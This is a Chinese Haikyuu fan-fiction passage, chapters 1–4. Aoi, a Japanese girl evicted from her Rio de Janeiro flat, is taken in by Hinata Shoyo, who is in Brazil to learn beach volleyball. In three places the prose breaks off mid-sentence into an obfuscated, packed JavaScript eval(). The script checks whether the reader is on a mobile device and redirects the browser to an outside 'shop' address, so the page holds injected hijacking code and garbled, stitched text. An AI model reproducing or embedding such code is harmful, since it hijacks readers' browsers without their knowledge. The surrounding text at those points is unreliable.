《[排球]人在巴西被狗捡了》 1. 第 1 章 即使是向来温暖的里约热内卢，在夜晚海风吹起来的时候，也有了那么一丝凉意。 只有近海岸的地方才能看出是水，更远的地方是幽深的黑，吞没一切的黑。 潮湿、已不太温热的海风侵入鼻腔，让人没来由地鼻酸。 小鸟游葵把被风吹到眼前的发丝一遍遍拨到耳后，这几乎是徒劳，因为她马上又被凌乱飘散的长发遮住了视线。 这么重复几次，她也有些烦躁了。 葵心想，还是另外找个地方坐着吧。 不管怎么样，先熬过今晚再说。 她一撑地站了起来，漫不经心地拍了拍身上的砂砾，抬脚准备离开这片连游客都已经散尽的空寂沙滩。 “等等等等等下——！！！！” 在这块全是饶舌葡语和零星英语的地盘，身后竟然有人叫着日语扑了过来。 还没来得及回头看是谁，小鸟游葵先感到肩膀上传来的一股巨力把自己往后拉去，让她马上就要失重倒地。 “啊啊啊啊啊啊啊——” 她的尖叫无法抑制地脱口而出，身体却机敏地调整好了姿态，她果断收起小臂，屈肘向前蓄力，狠狠地向后就是一计肘击。 身后的人也反应迅速，葵感到自己肘部击中的只不过是对方遮挡保护腹部的手臂，没能造成什么有效的伤害，反而让她自己也疼得呲牙。 一击未中，她依旧敏捷地在落地的一瞬间就撑地翻身而起，一双燃火的黑眸既困惑又愤怒地看向地上的男子。 好显眼的橙色头发。 一旦见过就很难忘却这头橙发，这个人她最近遇见过几次，不过她都避开了视线没有打招呼，似乎是刚刚搬来附近的日本人，很年轻，穿着简单的白t和宽松的运动短裤，看起来还在读高中（或者初中？）的样子。 现在这个年代，学生也不能小觑，小鸟游葵脸上的薄怒未消，盯着他，又是警觉地后撤了两步，心里无奈地想，今天已经够糟了，别再多点别的什么麻烦了。 “小心！”少年果断地出声阻止了她。 刚刚拉她的时候太过用力，又没有料到会被她攻击和挣脱，反而是这个陌生的日本少年先摔倒在地。 可他此时又挣扎着站起来，一把用力地抓住了葵的小臂，不让她再往海的方向后退一步。 葵看着他骤然凑近的橘棕色眼眸，发现这其中分明闪着真诚又纯净的光芒，刚想开口气势汹汹质问他的话语都被堵在了喉间。 小鸟游葵心想，她是不是有点反应过度了？可能这个人就像只热情的小狗一样，只是在异国他乡见到了熟悉的亚洲面孔，有些激动，想和她打个招呼认识一下而已，更何况他们之前还见过…… 她猛地收住了这些念头，依旧用愤怒又讶异的眼神狠狠剜了一口眼前唐突的男子，皱着眉头试图把手抽出来——不管他本意如何，这些行动都太粗鲁和冒犯了。 橘发少年却心急地又往前了一步，在她瞪视和警告的目光下，像是这才突然察觉到自己的行为有多古怪，猛地停下了动作，讪讪地松开了葵的手。 “那个……你应该是日本人吧？我记得你好像听得懂也会说日语……”少年试探地问道。 小鸟游葵直直地凝视着他，戒心更重了。 她谈不上对日本人有多少同胞情，对于这样无缘无故来攀亲带故的异性，就更没什么好感了。 被她直白地表露着不信任的目光盯得有些不自在，少年扯了扯自己白色t恤的下摆，又马上扬起了头，露出一个真诚的耀眼笑容。 “不好意思啊……我看你今天晚上一直坐在海边不走，看起来心情不是很好的样子，又突然站了起来，我担心……我还以为……那个……看来应该是我误会了吧！” 葵心想，她可不是只在沙滩旁边坐了一会儿，他究竟盯着她看了有多久了？ 让人心里毛毛的。 小鸟游葵碾了碾脚下的沙子，转移了一下久站的支撑重心，又侧头看了一眼空无一人的沙滩，摆明了没什么耐心听他说话，急着要离开。 少年一下子止住了话头，神情有些僵硬地看着她：“你确实能听懂日语吧？难道说其实你不是日本人？” “能听懂，是日本人，”小鸟游葵终于开口了，她冷着脸再一次把头发挽到耳后，即使听了这么一大段诚挚又善意的关怀，又难得在异国他乡偶遇了同胞，她依然一副拒人千里之外的样子，语调也很冷淡，“没什么事我先走了。” 再晚一点，可能就更难找到过夜的地方了。 “等下！” 橘发少年再一次叫住了她。 他的脸有些红，手向下指着她的腿部，眼睛却一点也不敢往下看，局促又礼貌地直视着她的眼睛，有点支支吾吾：“那个……你的裤子……” 葵顺着他的手指的方向往下看了一眼，今天穿的裤子是轻薄的面料，刚刚一屁股坐在了潮湿的沙滩上，现在铺满了沙子，又因为沾湿了，所以布料紧贴在她的大腿上，隐隐还能看出内裤的形状和花色。 她有点烦躁地皱了皱眉，无所谓地随手拍了两下，除了抖落了一些沙粒也没起到什么效果，但她也不是很在意这件事情。 白天的时候，满沙滩都是穿着那种几乎没有一块布料遮挡款式比基尼的火辣美女，也只有这个刚来巴西的日本人会为她打湿的裤子感到窘迫了吧。 只是要找个地方清理干净比较麻烦而已，也不知道海边的公共浴室现在关门了没有…… 这么想着，小鸟游葵不经意看见眼前的少年脸红得几乎想在沙地中挖个洞把自己埋进去的样子，若无其事地停下了脚步。 “我可以去你家吗？” 少女清亮的声音响在寂静的夜里，清晰得让人一点都没有办法怀疑自己的耳朵，却又坦荡得让人多想一点都要唾弃自己肮脏的心灵。 “啊？”少年愣愣地抬头，像猫一样锐气上挑的眼尾都因为这困惑抬起的眉头而下垂了。 葵平静地伸手指了指自己的裤子：“裤子脏了，要洗，而且我现在没有多余的裤子可以换。” 她又指了指自己：“我被房东赶出来了，今晚没地方住。” 最后指了指面前的少年：“所以，我今晚可以先借住在你家吗？” “当然可以！” 少年好像在懊悔自己刚刚的迟疑很不礼貌似的，几乎是还没等她说完就立刻爽朗地答应了，目光炯炯，闪烁着有些震撼小鸟游葵的真诚光芒。 “不过……”几乎是瞬间，他的语气又有点迟疑。 果然，葵面无表情地想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716677|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，没有谁会无缘无故、不求回报地向别人伸出援手。 少年有些不好意思地挠着后脑勺看过来：“我有一个同住的舍友，是巴西人……那个，我葡语不是很好，和他也不是很熟……可能需要你来跟他解释一下……我记得你葡语应该还挺好的……” 看见眼前的葵有些怔忪的神情，他连忙补充道：“你别担心！情况这么特殊，只要好好解释了！一定没什么问题的！大不了你就尽量待在我的房间不出来，缺什么东西我帮你拿或者出去买！” 这火热又坦荡的眼神，简直就像只无缘无故就会对人亲昵，热情摆尾的小狗。 沉默地跟着他回家，小鸟游葵走在空旷的道路上，路旁的棕榈树被风吹得沙沙作响，更显得万籁俱寂。 游泳的、吹海风的、打沙排的、弹琴唱歌的人都走了，唯有一些遥远酒吧还在流光溢彩，只是这热闹的谈笑声也都很遥远，像是来自另外一个世界。 小鸟游葵暗忖，大概主要也都是些只会在里约短暂停留、寻欢作乐、无忧无虑的度假游客。 真是让人羡慕啊。 这片海滩的边上已经建满了酒店，灯光明亮，即使是这样，暗处也偶尔似乎有那么一两个晦暗不明、面目模糊的人影。 不论如何，里约的夜晚都算不上有多安全，葵这才开始为自己今晚起初试图一个人在外过夜这个大胆又天真的决定感到了一阵后怕。 又几乎是瞬间，她无所谓地想，会怎样就怎样吧，大不了，就死了算了。 她加快了脚步，紧紧跟在那个异常好心少年的身边，又下意识有些忐忑地和他保持了一拳的距离。 她继续自暴自弃地想，不管接下来等待她的是什么，都算是她命中该有这一劫。 感觉到她的接近，少年好奇地侧头看过来，他还带着初高中生那种年轻人特有的清瘦，下巴尖尖，还没被里约的阳光晒熟，所以皮肤以她的评判标准来看甚至算得上白皙，怎么看都很青涩，尤其是线条清晰干净的侧脸反射着光线，连琥珀色的眼珠都清亮澄澈，看起来没一点坏心思。 葵压下内心翻涌的情绪，目不斜视地看着前方的道路，虽然她也不知道该去往何方。 “我叫日向翔阳，你呢？”日向翔阳很自来熟向她自报了姓名，似乎又往她身边凑了凑，小心地试图用身体帮她遮挡住几乎透明的裤子。 他的手臂因为侧身询问的动作不经意地划过了葵的手背，葵惊觉日向翔阳并不是看上去那么清瘦，他的手臂上有着结实的薄肌，肩背挺拔，踩地的步伐轻盈有弹性，一看就和她这种没精打采的死宅不一样，平时绝对有在规律地运动。 他的热情和开朗好像都有了一个可以解释的理由，葵松了一口气，终于有心情提起嘴角笑了笑：“小鸟游葵。” “哇！”日向的眼睛莫名地闪闪发亮，“好好听。” 葵蓦地有点脸热——毕竟她的名字，和他的姓名……实在是太巧合了…… 感谢适时吹来的海风，让她清醒了点，脸上的温度逐渐降了下去，可是日向的眼睛和笑容却依然明媚得让人有些睁不开眼，更何况他像是身后有条隐形的尾巴在热切地晃着，葵合上眼帘，默默挪开了视线。 她恍恍惚惚地想，自己怎么像是被一条狗给捡回家了。 2. 第 2 章 日向的舍友佩德罗在小鸟游葵看来也不过是一个有点社恐的自闭青年，对于她借住一段时间这些事情没有任何意见，这其中或许还带了点巴西人在两性关系方面特有的通情达理。 她洗完澡，穿上日向翔阳借给她的衣服之后出来又交谈了几句，还发现他们还都是里约热内卢联邦大学的学生。 “哇！” 身后传来一声惊呼，葵回头，发现日向又在用亮晶晶的眼神，崇拜地看着她：“你的葡语说得真好。” “这有什么了不起的。”她小声地嘟囔，用日语解释了一下她和佩德罗其实在同一个大学读书。 跟着日向进了房间，葵又贴心地鼓励他：“用不了几个月，你日常沟通这些也都没问题的。” 橘子头却有些苦恼地捂住了脑袋，把本就蓬松的头发揉得乱糟糟的，他坐在地上，神情严肃：“但是能达到在这里读大学的水平，怎么想都很不一般啊，我学了好多年的英语也没有这么流利呢，小鸟游小姐好厉害！” 被这么直白热切地夸赞，葵也有些不好意思，她坦诚地说：“那是因为我初中还没毕业就来巴西了。” “这么早！”日向惊奇地把眼睛瞪得圆圆的，“那在巴西有很多日本人吗？我除了小鸟游小姐，还一个都没见过呢。” 葵思考了一下，言简意赅地回答他：“唔，还算挺多的，这里有一些日料餐厅的老板，还有菜市场的摊主，有些是日本人，不过很多已经不会说日语了，相比起来，里约的日本人不算多，圣保罗会多一点，那里也有一些中国人。” 日向的眼神已经灼热到几乎要把她烫伤了：“你真的好了解这里，我能认识小鸟游小姐，真的是太幸运了！” 他看起来甚至想为了这种事情举起双臂来欢呼两声，又碍于和小鸟游葵不是很熟努力压抑住了。 既然这样，小鸟游葵思忖着，从善如流地转过身来，面对着翔阳深深鞠了个躬，脑子里斟酌着合适得体的话语，开口说道：“那么……请问，我可以在日向先生的家里多叨扰一段时间吗？” “欸？！”日向惊奇地瞪成了豆豆眼，一下子就狗脑超载了。 小鸟游葵的头越埋越低，看起来可怜极了：“是这样的，我是因为和原来的舍友、房东以及中介都闹了矛盾，所以才被赶出来的，按照合同规定，押金不能退给我，我现在也没有可以再交一份押金、中介费加上房租的余钱，唯一能帮上忙的亲人去南极洲探险已经失联快一周了。其实……我也是刚来到里约没多久，之前一直和亲人一起住在圣保罗，也没什么朋友，简单来说，除了今晚，今后很长一段时间内我都无处可去了。” 葵自己都知道这段经历和她如今所处的境地听起来有多不合常理，但她还是恳切地继续为自己争取机会：“我可以和你们平摊房费，而且你是刚来巴西吧，我可以陪你办电话卡、银行卡、去政府、去医院什么的都没问题，我也会尽快找工作攒钱，找到新的住处！” 日向一直默不作声，过了好一会儿，小鸟游葵忍不住好奇地抬头，才发现眼前和她相对而坐的少年已经变成了泪眼朦胧的蛋花眼，呜呜咽咽地说不出话来。 小鸟游葵：？！ 怎么回事，这个人的共情能力这么强的吗？ 日向用手臂使劲横抹了一把眼睛，顶着通红的眼皮大声说：“不用担心！你想住多久就住多久！” 葵被这遽然又猛烈的情感吓得往后一缩，有些尴尬地说不出话来，不知道该如何回应他。 日向却用手指指着自己，主动凑近了一点：“说起来，小鸟游小姐不记得我了吗？我们今天下午还见过一面的。” “记得啊……” 这灿烂耀眼的橙发，委实是让人很难忘记啊。 日向翔阳的情绪来得快也去得快，他很快就沉浸在回忆里，手舞足蹈地讲了起来：“其实我特别能理解小鸟游小姐的心情，因为我今天本来也很消沉。我是打排球的，就是室内的那种，来巴西是为了进修沙排，今天才刚在里约上第一节课，可是平时‘刷’地一下就能跳起来了，在沙滩上却是‘咚’的感觉，完全跳不起来，本来就有些丧气，打工的时候还被偷走了妹妹送我的钱包……回来的时候，佩德罗也一直戴着耳机，不太理我……所以这一天心情真的很沉重……” 说着说着，翔阳的头也耷拉了下去，抿起了嘴，瞳孔又有种要软化成蛋花的趋势。 葵尴尬地捏紧了拳头，他不是刚刚还在“刷”地一下，“咚”地一下，又在演示击球动作，讲得可起劲了吗…… 怎么办啊，她可不太会安慰人…… 但是翔阳很快就带着欣喜的表情看了过来，手臂在空中大大地画出一个圈，却仿佛连这样都无法表达他有多么喜悦似的：“可是下午我去买面包的时候，小鸟游小姐热情地帮助了我！我真的一下子就感觉自己又活过来了！！而且晚上去海边打沙排的时候，竟然这么巧又遇到了小鸟游小姐，就没忍住多看了几眼，尤其是看见小鸟游小姐好像心情不太好，就留心多关注了一下，总而言之，现在我也能帮助到小鸟游小姐，真是太好了！” 你这可不只是多看了几眼啊……小鸟游葵默默腹诽。 可是看着日向坦率又快乐的明媚笑容，她忍住了吐槽的欲望，也仔细回想了一下今天下午发生的事情。 那是在附近一个价格低廉实惠的家庭面包铺，毕竟是家庭小作坊，老板娘有新出炉的面包就随意地摆放在玻璃柜里任意一个位置，也不会更换柜子前面早就摆好的标签。 对于已经习惯直接报名字点单的本地人来说到没有什么所谓，但是各类面包的名字和价格对于刚来的外国人而言，确实有点扑朔迷离，尤其是在日本很难会发生这种标签乱摆的事情。 葵在收银台后面排队，看见前面有个头发乱翘的橙色后脑勺，他在对照着手中的一个小本子，焦头烂额又磕磕绊绊地想问清楚手中面包的价格，还有为什么两个长得一模一样的面包价格却不一样，它们之间有什么不同。 他的肢体语言很丰富，但是沟通却很低效，老板看起来一头雾水，橘子头还不时习惯性地蹦出几句懊恼的日语，说出口的话听起来更烫嘴了。 葵叹了口气，态度也算不上热切地拍了拍他的肩膀，用日语对他解释道：“你手里那个是芝士面包，也就是标签上的P?o de queijo，这一小袋的价格是10雷亚尔，更便宜的还有法式面包，就是那个更小一点的，P?o francês，老板标签乱摆的，你直接跟她用手指你要哪个就行。” 少年惊喜又感激地迅速回头，在看见小鸟游葵的面孔时，怔愣了一下，呆呆地看了她半晌，才猛地回过神来，慌乱地说：“谢谢你！我，我就要芝士面包就行！” 小鸟游葵有意避开他的视线，平静地用流利的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716678|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葡语对老板说：“他就要手上的这个芝士面包，麻烦给他结账吧。” 说完，还不待老板提问，她就熟稔地微微侧头问日向：“刷卡还是现金？” “我，我付现金！”日向翔阳有些困窘地从兜里掏出了几张崭新的100雷亚尔大额纸钞。 小鸟游葵迅速地捂住他的手，把这几乎就是在诱人犯罪的票子塞了回去，只把其中一张放在了柜台上。 “下次别带这么多钱出门了，这里小偷挺猖狂的。”小鸟游葵不冷不淡地说着，依然没有转过头去看他一眼。 在小鸟游葵的视角看来，她根本算不上日向口中的“热情”，只是看见他慌乱的背影有些于心不忍，顺手帮了个忙、又好心提醒了一嘴而已，也是为了自己能够节约时间早点买了面包回家。 当然，她其实还做了更过分的事情，葵默默回想着，久违地良心有些抽痛。 她知道这个橘子头少年买完面包之后还好奇地躲在门旁观察了她一会儿，视线那么灼热，几乎就把“想和她说话”、“想认识她”的想法用意念直接发射了过来，像只被遗弃后想被新主人捡回家的小狗。 而她，为了不被他纠缠上，给自己已经是一团乱麻的生活又增添新的麻烦，一直故意挪开视线，快速地走过，假装什么也没看见。 搞什么鬼，她又不是什么移民或者留学中介，自己适应新环境去吧傻小子。 只是没想到她只是下楼买个面包的功夫就被扫地出门，最后反而是自己被狗捡了回去。 说不感动是不可能的，想到这里，葵看向日向的目光都柔软了不少，她耐心地对他说：“我刚刚跟佩德罗聊了几句，感觉他人挺好的，可能今天下午就只是戴着耳机在看视频或者听音乐，没有听到你在说话，你走到他面前拍拍他，或者这样子示意一下就好啦。” 小鸟游葵歪头比划了一个摘耳机的动作。 “而且，他说自己其实会一点日语，表达不出来的东西，也可以尝试用日语试试看，说不定佩德罗也能听懂哦。” 她顺手把因为歪头而倾泻到肩头的黑色柔发用手拨到了身后，这个动作竟然也让日向突然脸红地避开了视线。 “还有啊，其实有件事情我有点在意，日向先生的葡语，发音有些独特呢，请问日向先生在国内学的是葡萄牙的葡语吗？” 一个简短的问题，让日向翔阳不仅眼睛变成了空洞的豆豆眼，连嘴都张成了“0”型：“葡萄牙语，不就是……葡萄牙语吗？为什么还有……葡萄牙的葡萄牙语？” 葵了然地想，他果然没意识到啊…… 于是她解释道：“巴西的葡语和葡萄牙的葡语在发音和某些用词上会有些不一样，虽然如果你在这里说葡萄牙葡语，巴西人也基本上都能理解，只不过有时候可能会反应不太过来吧。” 小鸟游葵非常善良地把“更何况你的葡萄牙葡语也说得很不标准”和“你竟然一点也没发现周围大家平时说的话和之前学的不太一样，看起来在外语上是相当地迟钝啊”给吞回了肚子里。 “啊——”日向翔阳仿佛灵魂都从口中飘了出来，面色惨白地向后倒去。 也就是一瞬间，橘发少年就以令人惊叹的腰力猛地挺直了回来，咧着嘴，仰着头看她，笑容灿烂得眼睛弯弯，看起来不能更满足了。 “所以说，我能遇到小鸟游小姐，真的是太幸运了！！” 3. 第 3 章 小鸟游葵耐着性子和日向说了些闲话，在两个人第三次同时沉默的时候，日向翔阳带着羞怯的表情说：“小鸟游小姐今晚就在我的床上将就一下吧，我去客厅睡。” 葵没有推辞，甚至还提出了新的请求：“请问……日向先生，明天可以陪我回一趟原来的住所，去取走自己的东西吗？” 自己真是太得寸进尺了，葵不无自嘲地想着。 “欸？”日向翔阳的目光呆滞了一下，又马上闪烁起了因为受到信任而雀跃的光芒，“当然可以啊！我在去上沙排课之前都有空！” 房门被轻柔地关上，黑暗中小鸟游葵把被子拉到下巴，非常崭新的被褥，带着点柑橘味洗剂的清香，和身上的衣服是同一个味道，还带着好好晒过太阳的蓬松和干爽。 葵又往被子里缩了缩，有些羡慕地想，尽管初来乍到免不了有些慌慌乱乱的，但是日向翔阳，似乎是一个相当认真在生活的人啊。 * 葵之前住的地方是一个临街的三层独栋小公寓，连地下室里都挤着住进了一家人。 门外狭窄的单行道上不时有人骑着自行车飞快地疾驰而过，让葵和翔阳都只能局促地站在从大门延伸出来的一小块台阶上，像是什么在快要沉没的浮冰上只能相互依靠的两个人。 按下门铃之后等了好久，才听见里面响起了脚步声，脚步声停住之后，门内诡异地安静了一会儿，似乎是里面的人在通过猫眼往外看。 葵面无表情，坦荡地直视着猫眼。 又过了一会儿，门才打开了一个仅容一人侧身通过的缝隙，一个皮肤黝黑、极为干瘦的女孩，扶着门把不松手。 她警觉地盯着葵，说出口的竟然是英语：“你来做什么？” “来取我的东西，这点权利我还是有的吧？”葵也用英语回答。 黑人女孩又是警觉地看了日向翔阳一眼，似乎在衡量他的目的和攻击性，日向只是在茫然地听着他们快速的对话，努力辨认出一些自己能懂的单词。 她终于松手了，侧身让开：“进来吧，拿了就赶紧走，还不知道今天房东会不会来。” 说完，她就上楼进自己的房间了。 进门，踩着嘎吱作响的楼梯上楼之后，是一个宽阔的客厅，所有的房门都紧闭着，在一个角落凌乱地堆放着一看就是葵的私人物品，书本压着衣服，鞋子放在被子上，纸张散落一地，甚至还有内衣被皱巴巴地甩落在一旁。 葵也没露出什么意外的表情，沉默地走过去挑挑拣拣。 日向翔阳有些尴尬地不知道眼睛该往哪看，只好乖乖在旁边等着葵。 葵倒空地上的一个收纳箱，一言不发地往里面丢着东西，客厅里安静极了，只有各种零碎物品和塑料箱底碰撞发出的沉闷响声。 这么大一堆东西，葵只挑拣出两个箱子，就把盖子合上了。 “回去吧。” “哦，好的！”翔阳马上振奋起精神，毫不费力地把箱子抱了起来，转身准备离开。 走了两步，小鸟游葵却突然停下了。 混沌不清、又在心中压抑已久的烦闷，不受控制地突破了一点封锁，有什么堵堵的东西涌上喉头。 小鸟游葵“哐当”一声，把手中的东西丢在地上。 “怎么了？”日向吓得也停下了脚步，努力扭转着脖子把头侧回来看她。 葵快速走过翔阳的身旁，带起一阵风，她目标明确地停在某个门前，突然抬起膝盖，狠狠踹了门一脚。 她嘴里快速地说着什么葡语，看愤怒的表情就知道肯定不是什么好词，同时用力地砸着门，似乎在喊里面的人出来。 所有人都听见了“咔哒”一声，里面的人竟然把这扇门反锁了。 日向默默地放下手里的东西，有点不确定自己现在应该是要去劝阻她还是该去帮忙。 打开的却是隔壁的房门，是刚刚那个给他们开门的黑人女孩。 女孩皱着眉，抬高了点音量，翔阳大概可以听懂一点：“请你马上停下，你让大家都很紧张！” 葵不知道是真的听从了她的话，还是喊累了，只是埋着头大口地喘着粗气，等她抬起头来的时候，翔阳才发现她的脸上都是泪水。 她的语速依然很快，只是声音柔和了很多，并没有在对这个女生生气的样子：“你们什么都不知道，可是你们都相信她，你们——只相信——她！” 她像一头小兽，委屈没有语言可以表达的出口，只能低哑地呜咽着。 黑人女孩看起来也有点被吓到了，下意识地往后推了一步，似乎在后悔自己出来多管闲事，或者是在懊悔一开始就不该给他们开门，所以她稍稍用房门遮住了自己，嘴里敷衍地安慰道：“你先冷静一下吧……你现在情绪太激动了……” 葵响亮地吸了吸鼻子，俯身潇洒地一举抱起箱子，甩甩头走了。 翔阳茫然地看了一圈，向那个看起来并不是坏人的黑人女生露出一个歉意的眼神，也赶紧抱起东西跟上。 两个人沉默地走了很长一段路，葵突然开口。 “很丑陋是吧？” “啊？” 日向还在想着要怎么安慰葵以及问清楚到底发生了什么事情，就倏地被这猝不及防的一句话问得愣住了。 “很丑陋吧？我刚刚的表现。动作啊，表情啊，说出口的话啊，不争气的眼泪啊……”葵自嘲地数落着自己，“你肯定昨天晚上还以为自己捡了个楚楚可怜的无助少女回家，又或者以为我该是什么善良又热心的好人——” 她顿了顿，斟酌了一下，匀了一下呼吸，又自暴自弃地继续讲着：“我就是这样的人，想发火就憋不住，被赶出来也是因为昨天气得把所有东西都往地上砸，什么瓶子啊，洗衣液啊，零食啊……最后搞得房东和警察一起来了……” “肯定是有原因的吧！”橘子头少年朗声即答，非常肯定的样子。 “啊？”这下换葵被这无条件的信任击中得瞬间有些不知所措了。 “小鸟游小姐看起来并不是会乱发脾气的人呢，”下巴尖尖的日向严肃地眯起了猫一样眼尾上挑的眼睛，做出一副老成的表情，“比如刚才，明明已经很生气了，但是面对那个开门的女生的时候，小鸟游小姐还在很努力地压抑情绪，不让她被自己的怒火波及，所以怎么看小鸟游小姐都不是那种会无缘无故发火的人吧！” “……你的观察还真是敏锐。” “嘿嘿，”翔阳得意洋洋地仰起脸，“毕竟我是打排球的嘛，在球场上要观察局势，看球，看站位，看姿势，看表情，看视线，对手和队友的想法都要观察，所以大概是会更敏锐一点的吧……” 说起喜欢的排球，少年又兴奋了起来。 葵又是不无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716679|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡慕地想，为了排球，竟然可以只身一人跑到这个语言和文化的陌生的国家，日向翔阳，真是令人眼红地有着灵魂深处热爱和追求的目标啊。 她用膝盖掂了掂手中的箱子，最后还是轻轻放在了地上，想要休息一会儿，日向翔阳也像只小狗一样，亦步亦趋地跟着她停了下来。 葵毫不在意地坐在箱子上，努力调整了两下呼吸，但还是失败了，只听见她短促地呼吸了几声，压抑地带着鼻音开口。 “他们都不相信我……” “我们在客厅有个共用的收纳柜，每个人占据一个自己的格子，有个女生一直偷偷用我东西，可是她做得那么明显……每次盖子是半开的还是合上的，都和上次我用的时候不一样，标签的朝向也总是会变化……我很快就观察到是谁了，她还不只是偷用我的东西，每个人的她都在悄悄用……” “我觉得很不爽，就在群里没有指名地说了一下：请大家用东西前好好辨认，不要拿错了……” “可是……这反而让她更加变本加厉，就像盯上了我、想报复我一样，只用我的东西，后面还偷我的零食和小物品……和她吵过，和房东说过……可是她看上去那么无辜……大家又那么迟钝……都说没觉得东西少过……说我多心……说我被害妄想……” “她甚至还趁我不在家偷偷进我房间……我气不过，就打开她的柜子，从里面翻出我的东西，一件一件地往地上砸……我……” 日向翔阳心想，能从细节察觉到这些，还有之前能感受到他的窘境，能信任他，能看出佩德罗是个迟钝的好人，能猜到他学的葡语…… 小鸟游小姐分明也是一个敏感又敏锐的人。 葵越说越呼吸急促，头也越埋越低，音节和呼吸破碎，几乎没有办法说出口成调的话语。 突然之间，她感到有一双手用力地扶住了她的双肩，让她被迫挺直了腰背。 她错愕地看过去，明媚的阳光照得日向的发丝近乎在发光，而他的表情严肃。 “小鸟游小姐，敏感和敏锐都不是你的错！不过在难过的时候，可以试试这样——用腹腔来呼吸！来！用腹腔发声！” 哈？什么东西？ 小鸟游惊异地微张着嘴，别说发声了，她连要保持呼吸这件事情都被吓忘了。 “像我这样——” 翔阳夸张地张着嘴，腹腔一起一伏，像教小朋友说话一样，耐心地做着示范，发出短促又振奋的一连串“哈！”“哈！！”“哈！！”“哈！！” 小鸟游不受控制地跟着他的节奏开始深呼吸，奇怪的是，一直堵在喉咙的异物好像就这么被软化松开，慢慢地，她的呼吸变得顺畅了起来。 她张着嘴大大地呼吸了好几口，日向才故作严肃地点了点头，评价道：“嗯嗯，小鸟游小姐作为初学者来说已经很好了，怎么样？是不是感觉没那么难过了？” 有人支撑着自己的肩膀，葵信任地随着呼吸慢慢地放松了肌肉，往前靠去，两个人的脸越凑越近。 她清澈的黑瞳专注地看着日向，像是好奇的野生动物在观察着初次见面的人类，谨慎地评判着自己到底是可以接近还是应该赶紧溜走。 这个距离和目光让日向翔阳的脸“轰”地一下烧了起来。 “可以叫我葵吗？翔阳君。” 还带着软绵绵和黏糊糊的鼻音，她说。 4. 第 4 章 “好，好啊！当然可以！你也可以叫我翔，翔翔阳！”日向满脸通红，结结巴巴的，连自己名字都快要说不清楚。 葵专注地盯着日向又看了一会儿，盯得日向都感觉自己要意识模糊，晕倒在里约醉人的阳光中，她才突然想起什么似的：“你在这里等我，我有东西忘了拿，现在马上回去取。” 翔阳：“欸？” 没过多久，葵抱着一个快有两个她高的硕大圆柱回来了。 “这是什么啊？小鸟游……葵。” 日向差点咬到自己的舌头，才堪堪把称呼纠正了过来。 “我新买才没几周的床垫！” 小鸟游把厚重结实的圆柱往箱子上一放，翔阳这才发现这其实是个紧紧卷成一长条的单人床垫。 而葵带着因为运动而急促的呼吸，连说话的声音都比平时听着有力了点：“才不要便宜那个小偷呢！” “好啊！就带着这种气势，我们一鼓作气地冲回家吧！！”日向举臂欢呼，眼里亮晶晶地闪着星星，就这么看向了葵。 还不等葵有什么反应，翔阳抱起了地上的箱子和床垫，抬脚就开跑。 葵：“欸？！” 人一会儿就跑远了，明明手中的东西并不轻便，翔阳的脚步却很从容，背影充满了似乎真的能抱着这么多东西，一口气跑回家的伟大气势。 受到了感染似的，小鸟游葵赶紧也抱起箱子跟上，有如被操纵一般向前迈出步伐—— 五步之后，她脱力地把箱子放回地上，撑着箱子大口喘气。 不行了——本来刚刚把硕大的床垫搬过来就费了很多力气——只是再这样跑上两步，就像身体透支了一样，喘不上来气，手指好难受，胳膊好酸，肺也快炸了—— 看着已经消失在远方的橘色小点，葵认命地压低身子，屈起膝盖，慢慢推着箱子往前走，努力不去想自己的动作看起来有多滑稽。 可是就连推着箱子前进都很累，葵慢慢地滑了下去，把下巴靠在箱子上。 今天情绪起伏太大，运动量也大，现在她累得大脑一片空白。 不知道发了多久的呆，葵通过下巴感受到收纳盒上 传来一声“咔哒”轻响。 她缓慢地把头扭过去，箱子对面的人有着一头灿烂的橙发，日向正学着她的样子坐在地上，把下巴靠在自己乖巧交叠在箱顶的双手上面，从盒子另一头好奇地歪着头看过来。 这么一来一回的功夫，也就是打湿了一点额发而已，依然精神抖擞。 葵丧气地把头埋在箱子上，啊，自己好弱，好讨厌这种力不从心，身体也不受控制的感觉…… “还走得动吗？”对面传来了担忧的声音。 “再休息一会儿……”葵的嘴巴被收纳盒挤压得变形，她说出口的话本就无力，这下更听上去像是随便的几声哼哼。 但是葵突然感到有只手拨开了自己的刘海，手背轻轻地靠在了额头上。 她慢慢抬起头，看见翔阳“刷”地一下把手收了回去，却没有放下，而是还立在脸旁，用手背对着她，举在空中。 另一只手控诉似的指着这只刚刚摸了她额头的手，像是在指责它自行其是一样。 日向紧张得说话的时候连嘴角都僵硬：“那，那个，我我我我是担心你好像可能中暑了，就，就想摸一摸你的体温……” 啊啊啊啊啊太蠢了！翔阳在内心呐喊。 